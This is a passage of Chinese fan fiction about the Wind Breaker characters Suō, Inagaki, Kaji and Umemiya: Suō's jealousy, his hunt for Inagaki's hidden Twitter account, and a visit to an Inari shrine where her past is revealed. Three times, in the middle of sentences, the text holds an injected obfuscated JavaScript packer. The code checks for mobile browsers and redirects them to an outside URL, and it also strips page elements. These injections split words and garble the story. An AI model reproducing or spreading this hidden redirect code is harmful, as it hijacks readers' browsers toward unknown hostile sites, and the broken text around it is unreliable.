梶半途停下,回过头,果然看见她在阳台上,抬手挥了挥,示意她进去,别待在外面;稻垣也抬了抬手,退回去,等梶转头继续走路,才从边缘探出半个头,一直望着他,直到他转过街角再也看不见了,才慢慢回身进屋。 目光从未消弭,一言一语全是爱意。 苏枋站在街角楝树桠杈密布的阴翳里,脸色发白,感觉喉咙被越攥越紧,快要喘不上气了。 梅宫则被突如其来的醋味淹了个密不透风,一脸同情地觑着苏枋,也讲不了劝慰的话,心道,酸得要死——活该啊。他只好讪笑:“刚才叫你赶紧走,别看,你不肯走,这下好了吧。” 苏枋要气死了。 要不是站在跟前的是防风铃总长,而他又打心底里尊敬他——苏枋早就动手请梅宫吃一顿连招毒打了。 这一波梅宫全责——都怪梅宫!他今晚约那个和原干什么啊?梅宫不约,稻垣就不会出门,他也就不可能跟着去养护设施凑热闹,琴叶更不会叫不到梅宫就抓梶来送东西了! 苏枋脑壳疼得不行,理智上明白不是这么回事,但感情上还是不管不顾地把过错一股脑全推给梅宫了。 这下真的坏事了——不久前才在稻垣的面前信誓旦旦说过,不彻底弄清楚自己的心意的话就不会行动;结果梅宫这一手推波助澜,直接一步到位,让他一下子全都弄清楚了。 稻垣喜欢梶莲确凿无疑。 而苏枋的心意也同样板上钉钉。 这就意味着,这事已经盖棺定论,没有回旋的余地了——苏枋不可能再自欺欺人地退回到“仅仅是抱有好感”的程度,游刃有余地敷衍别人了。一想到这里,苏枋不遮不掩地狠狠瞪了一眼梅宫,弄得梅宫不知所措。 他调子拖长,口吻散漫:“梅宫哥——总长,您说,这事儿怎么办吧?”梅宫鸡皮疙瘩都起来了:“什么事嘛……话说苏枋你的眼神好吓人啊?!” 苏枋面上挂笑,谦和有礼,一张嘴就是扑面而来的阴阳怪气。 “梅宫哥看不懂吗?那我解释给您听咯?现在的状况是这样:毫无疑问,多闻众一年级的副级长喜欢上二年级级长的前女友了——而我呢,接下来大概率要撬前辈的墙脚了。” 梅宫被他这无异于自断后路的发言惊得嘴巴大张。 “可以的话,我不想把关系搞僵,因为我还挺中意风铃的大家的。我会尽量避免内斗这种事发生,不过——以防万一吧,我就先在这里跟梅宫哥打声招呼:回头要是真打起来了,您作为防风铃总长,一定会负起责任来,好好收拾这个烂摊子的,对不对?” 梅宫的表情凝滞了一会儿——然后莫名其妙笑出来。苏枋心里呵呵一声,果然人在尴尬到极点的瞬间,第一反应还是笑啊。 “苏枋你这人——挺让人意外的,”梅宫又一巴掌拍在苏枋肩上,顺势勾住他脖子,“什么嘛,我还以为苏枋早就未老先衰了,原来也还是青春年少蛮活泼的嘛!” 苏枋料到他要来这一下,提前扎稳了下盘才没被梅宫拍一踉跄,眼角轻微抽搐:“未老先衰?失礼啊,我还年轻呢。” 梅宫摇头晃脑道:“我说苏枋啊,你是早熟了点,可我们小稻呢,八岁时候的心智水平就已经赶上十五岁的人了——她心眼不见得比你少,太计较细节的话,相处起来会很累的哦?” 苏枋闭嘴了。 “苏枋,你别看小稻表面上是那种任性自我的作风,拒绝别人不留情面,但其实她本性专一又固执,认定的事不会改变。” “梅宫哥是在劝我放弃吗?”苏枋嘴角牵起一个微小的角度,似笑非笑地望着他。 梅宫不回答,苏枋能感觉到他依然抱着一种松弛宽容的态度面对这个问题,某种意义上,他对稻垣的约束不够严格,不是他干涉不了,是他不想干涉。 梅宫是一个大家庭里悉心看顾,同时又纵容着所有弟妹的兄长,是为所有人托底的那个角色,也正是这份气魄和包容让那么多人聚集在他身边,拥戴他成为防风铃的顶点——苏枋自己都很难否认,他入读风铃的背后也存在少许慕名而来的成分。 梅宫看重稻垣,同样也关心他。苏枋微垂了眼。他理解了梅宫的意图:梅宫不打算引导他,就如他不会干涉稻垣所做的决定一样——他只是需要提前探个底,知晓自己的答案罢了。 梅宫的意思很明白:南墙就在那里,撞,还是不撞,如是而已。 可是越简洁的问题越关涉本质。 梅宫叩问的是苏枋的本心。 及时止损固然是明智的。而苏枋深知自己的沉没成本已不容忽视,止损是无论如何不可能止损了,只剩下一路走到黑这一个选项——感情难道是空杯注水,可以比照刻度决定装容多少,随时调整的吗?不可能的,要么满饮,要么泼尽,不存在其他中庸两可的选择。 “稻小姐专一而固执,是因为她很好。”苏枋微微一笑,很少这样坦白,“而我能不能改变她的想法,就看我有几分本事了。” 这种逼近第三者上位宣言的说辞让梅宫露出了一言难尽的表情,他满脸写着“知道你难搞但真想不到你是这种类型”,而苏枋微笑回望——就是难搞,他想怎样? “不过我要纠正一点,苏枋——”梅宫也学着他拖长了调子。 “不管怎么样,小稻和梶都已经分手了,他们没有复合,这是事实——所以,就算你把小稻追到手,也谈不上撬梶的墙脚啦。”梅宫一脸严肃地比了个大拇指,“另外,你俩要是为这事打起来,我只会在旁边鼓掌加油看热闹。我才不掺和弟弟妹妹们的情感纠纷,麻烦死了,吃力不讨好!” 果然。苏枋失笑,这个男人从一开始就打算袖手旁观,谁都不偏帮。他调侃道:“那您刚才不要拦我不就好了,没准立马就有好戏看了。” “嘶——你对自己太狠了吧,我是在保护你啊!刚才那个情况不是显而易见吗,苏枋你根本没有一丁点赢面好吧!” “……好了梅宫哥,您少讲两句吧。” 那晚过后,没有任何缘由说明和提前知会,苏枋不再查稻垣的岗,稻垣自然也不会没事给他发信息,原本每晚都要弹动的Line对话框就这么沉寂下去。 周日,苏枋去了趟公共图书馆,捧着一本《卡拉马佐夫兄弟》看得脑袋嗡嗡响。他在冷清的阅览室里从中午枯坐到日落,然后起身回家。 一如所料,但凡稻垣不叫他去地下街的话,苏枋就找不到由头联系她,也没有任何借口去见她。周一稻垣就要动身去参加修学旅行了,一周都见不到面。 晚间散步去那条小街附近转一圈的想法甫一冒头就被苏枋摁死了,眼下这个状况这么做无异于自寻死路。必须等,要耐心,在稻垣主动找他之前,他绝对不能轻举妄动。 不过一点消息都没有的话,还是多少让人心焦。苏枋思考了几分钟,拿出了手机。 在赌场打德扑那次,苏枋见过她用推特。那先试试看找到她的推特账号吧。 把稻垣不梦这个名字的罗马音颠来倒去排列组合无数次,在百来个五花八门的账号里筛选了半天,结论是全部排除,没有一个是稻垣。 她是会另外取昵称的那一类吗?不像啊。 苏枋一边思考调整策略,一边随手输入“正东风强运姬”——检索结果里第一条就是一张照片,稻垣在傍晚的东风商店街的入口踮起脚尖亲吻梶。 苏枋一口气没倒上来,险些把手机扔出去。 快两年前发布的内容了怎么还有这么高的检索顺位! 不过她穿白金台女中的水手服挺好看的,端庄又飘逸。 苏枋一边嘲笑自己自作自受,一边果断把发了这张照片的账户挨个拉黑,眼不见为净。 要在网络上找到一个特定对象无疑是大海捞针,尤其是稻垣这种人——外热内冷两面三刀,多半没什么分享欲,而且很注意不泄露自己的隐私。她用推特多半是浏览他人的生活,自己鲜少参与——高高在上的旁观者。 苏枋转念一想,人说到底是群居动物,只要和人群产生关联,那就不可避免地会在人际往来的过程中留下蛛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059615|162961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝马迹。 换个角度剖析问题,难度一下子降低了许多——没法直接找到稻垣本人的话,从稻垣身处的那个人际网络入手不就行了? 苏枋退出检索界面,打开关注列表,翻出了梅宫一的账号——这个防风铃天台种植家每天都在推特上发布他的盆栽幼苗培育记录。热情很高,更新很勤快,可惜照片拍得索然无味,阅览量寥寥,只有一个账号雷打不动每一条都给他点赞,苏枋不用点进去都知道那是杉下。 他略过了幼苗成长记录的部分,开始在梅宫的日常分享里翻翻捡捡。 梅宫发布的内容芜杂琐碎,有绿萝咖啡厅聚餐时的合照、喝汽水中到“再来一瓶”的瓶盖记录、在路边逗猫逗狗的心得、对商店街某位爷爷奶奶身体健康的担忧……凡此种种,大多前言不搭后语,不过有心人足以从这些只言片语里勾勒出梅宫一这个人温柔可靠的形象以及他丰沛而充满了广泛、包容的爱的生活缩影。 这样的人能统领防风铃,叫那么多处于躁狂青春期的少年人心悦诚服、甘愿追随他,的确一点都不奇怪。 苏枋翻了几百条推文,几乎能轻松地把每一个和梅宫互动的昵称同现实里的本人对上号——太好认了:琴叶、柊、椿野、杉下、榆井、水木、桃濑、梶……除了防风铃的人,商店街叫得上名字的熟人大体实现全覆盖。 不过,即便这么多人都关注了梅宫的推特——每天给他的幼苗种植记录点赞的也依然只有杉下一个啊。苏枋心里冒出一句风凉的嘲笑。 但更为严峻的形势是,即便在如此周密的审阅排查下,苏枋也仍然没找到稻垣的账号。 难道她不关注梅宫的推特?那梅宫真的该好好反省一下了。 不可能吧。榆井说稻垣很重视梅宫,她虽时常不服管,可显然也只听得进梅宫的话。 苏枋感到疑惑,继续一目十行往下翻。蓦地,一张颜色鲜艳的照片在他的视网膜上一掠而过,苏枋敏锐地捕捉到了什么,停下来倒回去看。 是梅宫被养护设施的孩子们簇拥着,大家一起围着桌子吃火锅的照片——苏枋后知后觉打了个哈欠,他已经翻到四年前的时间线上去了。 这张照片本身没什么特别,也没有稻垣出镜,可它的配文是风马牛不相及的四个字:“国士无双”。 苏枋的心猛地重跳了一下。 是那个新年夜——正东风强运姬血洗地下街的赌场,在雀牌桌上以“三天六地、国士无双”的逆天战绩一战成名的传奇之夜。 这条推文点赞的人非常多,评论也有近百条,大多是祝贺、惊叹,此外就是馋火锅的。 苏枋一条条看过去,在一堆天花乱坠群魔乱舞的评论中瞥见了一个从未见过的昵称:YUKI。 这个YUKI的评论,只点了个无意义的句号,可能容易被一般人略过但在苏枋看来无疑相当刺眼。 因为一个句号是无数表意可能的戛然而止,它在这样一片狂欢的氛围里显得神秘、突兀、格格不入,可能还暗藏锋锐。 苏枋不假思索点进去一看,账号没有公开,关注要发申请。用户页面空空荡荡,只有昵称和用户名,半点遐想空间都没有: TAKADONO。 雪……高殿雪。这个用户名是什么意思?有什么特殊含义吗? 苏枋不能百分之百确定,但他有种强烈的直觉,这个散发着一股无由来的醍醐味的“高殿雪”,极有可能就是稻垣。 犹豫再三,苏枋切了个平时不用的账号,点了关注申请。 等待确认。 苏枋放下手机,捏了捏酸胀不已的睛明穴,放下手机去洗漱。 十分钟后,苏枋回来,拿起手机,显示高殿雪通过了他的关注申请。苏枋眼睛一亮,手指往下滑。 这个账号只发过一条推文,那张被他拉黑了无数次不想看见的照片赫然映入眼帘。配文两个字:初恋。 苏枋顿感一口老血堵在喉头。 苏枋隼飞今年十六岁,第一次单恋,就福至心灵一把摸透了这件事的本质:单恋就是无止境的自讨苦吃和突如其来的反手捅刀。 防不胜防! 破了个大防!! 14. 我有一个朋友 正东风镇的稻荷神社处在整座城镇与郊野相连的边缘地带,被苍翠的山丘和无垠的田野环绕,附近人烟稀少,林地里的石阶小路郁木葱茏。 榆井站在路边,手搭在额前瞭望:“我们镇上的稻荷神社很低调,没什么存在感,这一带也很少有人过来。但是看了才发现,原来田地这么大,一眼根本望不到头啊。” 苏枋背手蹚进一片静谧的林涛声中,回过头来笑着附和:“粮食珍贵,要好好感谢神明和务农的人才行呢。”榆井积极响应:“是!我会心怀感激的!” 苏枋把目光投向榆井背后:“樱君,你还好吧?”“我没事,就是有点热——”樱抹了一把汗,抱怨起来,“话说热死了,这才刚入夏吧?”苏枋打量着满头大汗的樱,发现他身上一件单薄透气的白T恤都汗湿大半了,遂稀奇道:“欸——樱君这么怕热呀,出好多汗哦,难不成樱君其实是冰做的吗?” 感觉他像小动物一样,温度再高一点就要吐出舌头来散热了呢。 “才不是!”樱龇了龇牙,“你那是什么幼稚的说法!” 哎呀,更像小动物了。 榆井在一旁笑哈哈打圆场:“这个温度很正常啦——樱同学肯定只是不习惯而已,毕竟也才来我们镇上三个月嘛。等到明年春来,樱同学体会过正东风镇的一年四季之后,一定就不会觉得这里的夏天热得难以忍受了。” “四季……”樱怔了一下,接着乍然红了脸,“这,这跟一年四季有什么关系,我就是受不了这么热的天啊!” “欸?为什么突然脸爆红?”榆井迷茫地眨了眨眼,忍不住扯了扯自己的衬衫领口,“真有这么热吗?”樱欲盖弥彰地提高嗓门:“有啊!”苏枋笑眯眯地拆台:“没有吧,是在害羞呢。” “呃——!”樱哽住。苏枋眸光温柔:“因为榆君刚才那番话,含有‘安心留在这里,和我们一起共度时光,体会小镇的一年四季’的意思,对吧?樱君这个人啊,最听不得这种话了呢——” “烦死了你闭嘴!”樱吼他,大步越过他往前走,“快点走啊,不是你们说要去神社的吗,别磨磨蹭蹭地!” 樱钻进高枝密叶编织起来的清凉阴翳里,总算喘了口气。他望向坐落在薄云迤逦的山野间的建筑:孤零零一重鸟居立在前面,像一扇门,也像一把锁。 草叶间微弱的虫鸣被风摇晃得稀碎,一声一声断断续续地在樱的心头荡开烦躁的波纹。他百思不得其解:事情到底是怎么发展成这样的——好好的周末连休,他怎么就稀里糊涂地被苏枋和榆井拖到这里来了啊! 如今的情境,似乎是以放学巡街时一个荒诞不经的开场白为肇始。 “榆君,我有一个朋友。” 苏枋的语气平淡随意得仿佛在感慨天气。 “哎?什么,谁?”榆井天真地眨眨眼,显然不清楚这种居心叵测的开场白要怎么接。 苏枋瞟了一眼走在前面没什么反应的樱,不由得担心自己接下来要说的话会把他们两个一起吓死。 “他喜欢上前辈的女朋友了。” 樱冷不防呛了一下,脚下差点一个踉跄。榆井则整个人都紧绷起来:“欸?三角恋吗——修罗场?!”“还没到那一步啦,只是喜欢,还什么实际行动没有采取哦。”苏枋笑着拍拍他的背,安抚道,“别那么紧张——榆君怎么看待这件事呢?” “怎,怎么看?”榆井纠结一阵后,吐出几个字,“重大伦理问题……”“果然是这样。”苏枋煞有介事地缓缓点头,“一般人都会这么想呢。” 榆井笑得很牵强:“毕竟再怎么说,抢人家女朋友不好吧……” 樱忍不住回头瞪他:“你都交了些什么乱七八糟的朋友啊,真是莫名其妙。” 苏枋不理,沉吟道:“要是前辈和女朋友已经分手了呢?”“哈?那是前女友吧!”樱显然松了口气。“对啊……”榆井也很疑惑,“那苏枋同学的朋友不就是普通地喜欢上一位单身女性了吗?这不就不存在什么问题了嘛。” “可要是他们明明分手了,却还是互相恋慕呢?” 榆井沉默了一阵,嘴角僵得快挂不住笑了:“苏枋同学,你还不如直接点梶哥和稻姐姐的名算了……” 苏枋还未答话,樱大惊失色:“哈——?!苏枋那个朋友喜欢稻垣?!” 苏枋勉力压住嘴角憋笑,榆井无奈道:“樱同学,‘我有一个朋友’这种说法呢,不出意外的话,直接默认为‘我本人’就可以啦。” 樱大为不解:“啊?那直接说自己的事不就好了,跟朋友有什么关系啊?” 苏枋爽朗地笑起来:“哈哈,樱君的脑回路果真直得不带拐弯呢。” 樱敏锐地觉察到苏枋口吻里藏头露尾的一丝戏谑:“你说什么呢,你是不是在骂我笨蛋?”苏枋的表情特别无辜:“没有哦,在夸樱君聪明。” “混蛋你明明就是在嘲笑我,说什么夸我呢别想骗我!”“这都听懂了哎呀好聪明呀樱君——”“你个混账过来跟我比划两下!!” 榆井头疼不已地拦腰抱住樱:“樱同学你冷静冷静,现在重点不是这个——苏枋同学,所以你是喜欢上稻姐姐了吗?” “嗯——”苏枋抛出一个尾端上钩的长音,“也没有,就只是好奇那两个人的事而已。”“真的吗?”榆井面露狐疑。“真的呀,榆君不相信我吗?”苏枋指了指樱,“要是我真的喜欢稻小姐,樱君不会感觉不到啊——脸肯定早就红透了吧?” “啊,也是哦……毕竟樱同学在这方面很敏锐呢。”榆井接受了这个说法。 樱闻言,皱着眉将信将疑地盯着苏枋,没有出声。 哎,直觉系不好应付呢。苏枋在心里轻轻喟叹。不过他的修为也不是半吊子,又不是小孩子了,不至于脸上藏不住事。 “那苏枋同学为什么要用我有一个朋友这种说法……”“因为,榆君不是对这件事守口如瓶吗?我就在想,要不要试试看编个苦情点的借口来打听呢——没想到一下子就被榆君看穿了,抱歉啦。” 榆井下意识想回他一句“这么拙劣的借口不像苏枋同学的风格呢”——到了也没说出口,总感觉哪里怪怪的,不太清爽。 好在榆井素来不是过分拘泥于细节的性格,遂就此放过了苏枋:“其实不用那么绕弯子也行的,因为我真的不怎么清楚梶哥和稻姐姐的事——琴叶小姐和梅宫哥他们大概知情,但都不肯多谈,梶哥和稻姐姐到底为什么分手至今还是个谜。” “他们分手的原因怎么都行吧,比起怎么分手的——”樱以一种事不关己的口吻如此评价,“他们怎么还不复合才更让人在意。” “欸——樱君果然在意啊。”“我才没有!” 榆井不搭理二人拌嘴,兀自陷入思考,半晌,他自言自语道:“八成是……放不下面子?”“哈?”樱又露出了费解的表情——即便敏感于亲密关系,但若真要深究恋人之间复杂隐晦的心思,于樱而言又无异于一团乱麻,无从着手了。榆井试图解释:“就是,因为之前是自己提的分手,所以即便是想复合也没法拉下脸先提出来吧?” “啊——是说稻小姐吗?她确实是这种自尊很高的人呢,多半是没法放下脸面主动去挽回的。” 榆井直接否定了苏枋的话:“不是哦,是梶哥。”这个答案完全超出苏枋的预料:“……什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059616|162961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?梶哥?” “不知道的人第一反应都是稻小姐甩了梶哥呢。”榆井笑了,“但实际上,两年前,是梶哥执意要和稻姐姐分手的——说起来,他们当时在一起,也是稻姐姐先告白的。” “是吗?”苏枋头一次听说这件事,“这还真是——” 或许是因为面前的人是榆井和樱,他下意识吐露了心中所想。 “不像她呢……” 几乎同时,樱脱口而出的话语与他的声音叠到了一起。 “很像她啊。” 苏枋惊讶地看着樱。连榆井也面露诧异:“樱同学一点都不意外吗?”“有什么值得意外的。”“因为大家当初都以为是梶哥主动……毕竟稻姐姐是大美女,面上看起来还算和气,但私底下挺不好接近的,是公认的高岭之花一样的存在嘛。” “那是那些人没有看人的眼光吧。”樱不以为然地轻嗤,“那家伙个性是不怎么样,但她心地不错吧?会资助学生什么的……一看就是不会吝啬自己感情的类型,那种人一旦有了目标大概率会先手进攻。” “哇——樱同学,”榆井惊叹,“没想到樱同学对稻姐姐评价还挺高哦——经过那次猜拳之后,我还以为稻姐姐留给樱同学对印象很差呢。” “什……”樱蓦地卡壳了,后知后觉红了脸,“印象差归差啊!我只是说感觉她就是会主动的这种人而已!” 榆井紧接着补充:“可樱同学刚刚也夸了稻姐姐心地很好。”樱据理力争:“那她会帮助别人,还供养比自己年纪大的大学生,心地好也只是事实而已吧!是个人都会这么认为吧?!”苏枋轻笑:“别解释了,樱君,这种情况,越解释越撇不干净。”“啊啊啊啊烦死了!!” 苏枋随口就把这一茬揭过去:“说起来,稻小姐是九年前到儿童养护设施的吧。”“是的。”“榆君知道在那之前的事吗?”“欸?稻姐姐到风铃园之前吗?”“对,比如她原来的姓是什么?” 这个问题把榆井彻底问蒙了:“原来的姓……苏枋同学为什么这么问啊,你是说稻姐姐不姓稻垣吗?” “嗯——”苏枋沉吟道,“因为稻垣这个姓氏还挺特别的不是吗?在这一带并不多见。而且,我们镇上的稻荷神社里的巫女,似乎就姓稻垣吧?” 榆井恍然:“啊……苏枋同学这么一说,确实是这么回事……” “稻荷神社?”樱的关注点总在别的事上,“还有那种地方啊。” “有的啦,不过是在整座城镇的边缘地带,神社很小,也不怎么举办活动,平时很少去呢——樱同学不知道也很正常。”榆井忽然一捶手,“对了,既然提到了,不如我们一起去一次神社吧!” 听到这个提议,苏枋和樱俱是一愣。 “咦?去参拜神社?”“对啊,就当熟悉环境,带樱同学去参观一下!” 樱立马拒绝:“我不去。” “樱同学!”榆井一出手就直击痛点,“樱同学是要在风铃登上顶点的人吧,那必须好好了解居住的城镇才行!” 樱瞬间就被拿捏了:“呃——” 苏枋并不排斥这种没有目的和负担的集体活动,不如说还挺期待的:“哈哈哈,说的没错,那我们趁着周末连休一起去一趟神社吧,就当出门散步好了。”榆井欢呼:“好耶!” 樱露出了想逃跑的表情:“谁散步去那么远的地方啊——话说你们两个怎么就擅自决定了啊?!” 苏枋故作委屈:“可是我和榆君都很想去欸——樱君难不成要同时拒绝你的两位副级长吗?好狠心噢。”“我……!”“樱同学,少数要服从多数!”“我们总共才三个人吧喂?!!” 15. 稻荷神之女 樱就这么在“难不成要同时拒绝你的两位副级长吗”和“少数服从多数”的左右夹击之下毫无还手之力地投降了——他不肯承认这期间还受到了榆井“神社附近可以买到很好吃的烤鳗鱼饭团、明太子酱面包和抹茶可丽饼哦”的诱惑——单论结果的话就是如此:连休的下午,樱在早夏时节炽热发白的日照里走了不短的路,和苏枋、榆井一同来到了小镇边缘的稻荷神社。 穿过正红色的鸟居时,汗水已将领口洇透,而踏入神域的那一刻,樱还是感受到一股无风的阴凉穿身而过,流淌着浸润他骨皮间的罅隙,让他浑身一松,烦热顿消。 “突然变得好凉快。”榆井轻声说。苏枋这时候总算没有再说些神神鬼鬼的笑话来打趣,只是附和:“庄重的建筑自带这种氛围呢。” 樱环顾四周,确实是间简朴的小神社,除了主殿和一座小小的祭堂外,没有其他的建筑,挂绘马的架子饱经风霜,很有使用感,上面一摞摞的挂得满满当当,看上去也颇具年代感了。樱多看了两眼苔痕斑驳、口衔稻穗的狐狸石像,收回视线径自往里走,被苏枋及时扯住,带到水手舍净身。 往香火箱子里投了五円硬币,摇铃拜礼过后,白服绯袴、看上去年近四十的巫女从主殿将将迎出来。苏枋和榆井欠了欠身,巫女露出慈和的笑容:“哎呀,今天真热闹啊。” 三人迷茫,面面相觑。 这时,一个人影自供奉神器和显身镜的神前缓缓立起,转过身向主殿门前走来。洁白的裙裾从阴翳里飘拂而出,门外三个人齐齐一怔。 “稻姐姐!”榆井反应最快,镇定地打了招呼。 苏枋讶然。 稻垣明显也愣了一下,回过神道:“下午好,小榆……苏枋,还有——樱,对吧。” “下午好,稻小姐。”苏枋垂下了目光。 “噢,下午好。”樱也撇开了视线——一想到今天这趟神社散步最初是以面前这个人的花边话题作为源头生发而来,他就感到别扭,不好意思直视稻垣。 “不梦,这三个孩子,是你的朋友呀?”巫女询问。稻垣得体地微笑:“是的,风铃一年级的新生,梅可靠的弟弟们。”巫女拍了拍她的手背:“既然是不梦的朋友,那就在廊下坐一坐,聊聊天喝杯茶吧——现在出去,外面好热呢。” 稻垣扫了三人一眼,见他们都一副无可无不可、不表态的样子,便做主点了头:“好,麻烦您了——难得我来看您,却没能帮您什么。”“不梦,你只要健健康康地生活,我就很高兴了。”巫女停顿了一下,话锋一转,“还有,下次捐香火,要乖乖投硬币——我不再接收存折或是银行卡哦,你这样子,神明大人怎么会听取你的愿望呢?”稻垣无奈:“我那又不是给神明大人的……我没有什么愿望要实现啊。”巫女伸出手指压了压她的唇角:“慎言。”“是。”稻垣叹气,闭嘴了。 巫女去沏茶,稻垣便和一年级三人来到廊下坐着。 “稻姐姐怎么来神社了?不是去修学旅行吗?”榆井离她最近,负责打开话题。“榆知道我去修学旅行了啊?”稻垣纳闷。“是!之前几天放学遇到梶哥,发现他没去车站接稻姐姐,就顺便问了一声,知道稻姐姐去旅行了。”稻垣忍笑轻敲一下他的头顶,语气故作哀怨:“哎,榆还是这么聪明——要是不当不良少年,再过两年也能去外面读大学了。”榆井为难地笑笑:“哎嘿嘿……” 稻垣把话题拉回来:“修学旅行结束了,今天早上回镇上,反正也无事,我就想到神社来看望神子,没想到碰见你们了。” 苏枋笑得十分自然,插话问道:“梶哥没陪着来吗?”稻垣眸光微抬,望他一眼,没有一丝波澜:“来了——还没上山来,去山脚那附近的店里买烤鳗鱼饭团和明太子酱面包了。”樱听到了关键词,猛地转过头来——然后意识到自己反应太大了。稻垣莫名地看着他,眨眨眼睛就看透了:“樱也是冲着那个来的?”“呃——没有!”樱矢口否认。稻垣轻飘飘地点穿:“不像真话呢——梅似乎提过你对美食没什么抵抗力。”榆井哈哈一笑:“是啊,也只有好吃的食物才能让樱同学甘愿忍受夏季炎热,在周末和我还有苏枋同学一起出门呢!”樱猝不及防被榆井掀了老底,登时臊得慌:“你,你别胡说……!” 稻垣拿出手机:“那我跟梶说一声,让他多买一些吧——榆和苏枋要不要?” “请务必!”“我就不用了。” 稻垣又抬眼,扫过苏枋,最后落在樱身上:“樱怎么说?还有,抹茶可丽饼要不要?那个也很好吃。” 樱支支吾吾,没有立即回话。稻垣淡然道:“多买那份是我的,天热我吃不下东西,樱代我享用了吧——就当帮我的忙,行不行?”樱的脸又红了:“既,既然你都这么说了……”稻垣见他不爽气,立马翻脸,多一句都不肯哄了:“樱,你好难伺候啊。”“哈?!” 巫女把茶端过来的时候,梶也提着一袋子吃食到了神社。 “梶哥!”榆井站起来招手。梶拉下耳机,点了点头:“哟。” 初夏的日头太过晒人,没人想在这种时候下山接受暴晒,于是在得到了巫女允许后,五个人在廊下悠闲地喝起了下午茶,散天散地闲聊。话题时不时会断掉,因为梶少言寡语而樱擅长终结,好在有榆井,总能不断救场,大多是稻垣在陪他聊。 苏枋趁人不注意,起身离开了。他绕到主殿另一侧,给正在洒扫的巫女搭手帮忙。 “神子大人。”“哎……” 苏枋颔首:“您叫我苏枋就行。”“噢,苏枋,你不和他们坐着,是找我有事吗?” “是的。”苏枋也不多客套,直奔主题,“我是想问,关于稻小姐的事情。” “不梦呀——”巫女并不意外,“你想问什么呢?” “说来冒昧,神子大人就当作是我多余的关心或是单纯好奇吧。送到孤儿院的孩子,除了年纪太小被遗弃、无法核实身份信息的,大多都没有改过本来的名字,为什么稻小姐改用了您的姓氏呢——她那时已经八岁了吧,应该不会不知道自己的名字才对。” “真亏你注意到这点呢——”巫女用一种意味深长的目光打量着他,“九年前是我把不梦送到设施的,当时,她只说自己的名字是不梦,没有姓氏。” “能告诉我,当时是什么情况吗?” 巫女抿了抿唇,思量了片刻。她这个年纪的人大多阅历富足思想深邃,苏枋是看不出她在想什么的。 “当时——不梦她快死了。” 巫女的口吻如此平淡,以至于苏枋都以为自己听错了。 他微微睁大眼睛:“……什么?” “不梦快死了,她浑身是血,受了很重的伤,倒在神社的鸟居前——我至今不知道那是怎么回事,问她她也总搪塞说自己不记得发生了什么。”巫女停了停,望着苏枋笑着反问,“但她,应该不会不记得,对不对?” 苏枋脸色有些难看,不置可否。 “不梦的身体一直不好——在她长到十三岁前,我总害怕她猝然夭折,因故我总同别人讲,不梦是稻荷神送来的孩子,正东风镇物产富足,只要年年丰收,她就能健康平安。” 苏枋说不出话来。 巫女又说:“说起来,当年我把她送到医院的时候,那个孩子就在那里呢。”“谁?” “不梦身边的那个孩子——梶君。当时不梦的情况很不好,手术需要一大笔钱,我正发愁该上哪儿去筹钱,那个孩子在急诊室外面看见了我,他也是去看病的,手上挂着吊瓶呢,跟我说设施没准会帮忙。”巫女说到这里,自顾自笑了笑,“从那之后,他们就总是在一起——没想到现在,梶君也还陪在不梦身边呢,真是个让人放心的孩子啊。” 苏枋又不说话了。扫撒工作结束,苏枋把拧干的抹布挂起来。 “神子大人,我还有件事想问问您。”“请说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059617|162961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”“‘高殿雪’——这个名字您有印象吗?”“高殿……好像从未听说过啊。” 苏枋默然,而后点头:“是吗,我了解了。” 苏枋回到廊下时,另外四人都已不在那里了,他扭头一看,才发现他们都聚在挂着绘马的架子周围埋头翻找。稻垣抱臂站在一边,长裙裙摆和宽大错落的袖子被风鼓起,腰身又收得特别纤细,像一只薄翅的蝴蝶钉在墙头,被风吹得快要拦腰折断。 苏枋走过去:“榆君,你们在干什么呢?”“啊!苏枋同学,你回来啦——我们在找稻姐姐来到正东风镇时挂在这里的绘马!”“说到底找那个有什么用啊到底!”樱嘴上这么说,手上也还是在不停翻找。 苏枋也觉得莫名:“为什么突然想起要找稻小姐的绘马?”稻垣漫不经心道:“闲得没事干,打发时间罢了。” “因为稻小姐不是出生在镇上的人,从外地来定居的人都会挂一个绘马在这里哦——所以我们建议樱同学也挂一个呢!” “啊。”梶从架子倒数第二层里面翻出一只,向他们示意,“找到了。” 樱转过头去看:“写的什么啊?呃……长命百岁?” “是啊。”稻垣弯下腰,轻轻摸了摸那枚老旧的绘马上颜色快要褪尽的字迹,“长命百岁,多朴素的愿望。” 樱忍不住吐槽:“你刚才说你那时候才八岁吧,就许这种愿啊,也太老气横秋了。”稻垣冷笑:“心态沧桑对不住啊,樱——那你写个朝气蓬勃点的吧。”“不要。” 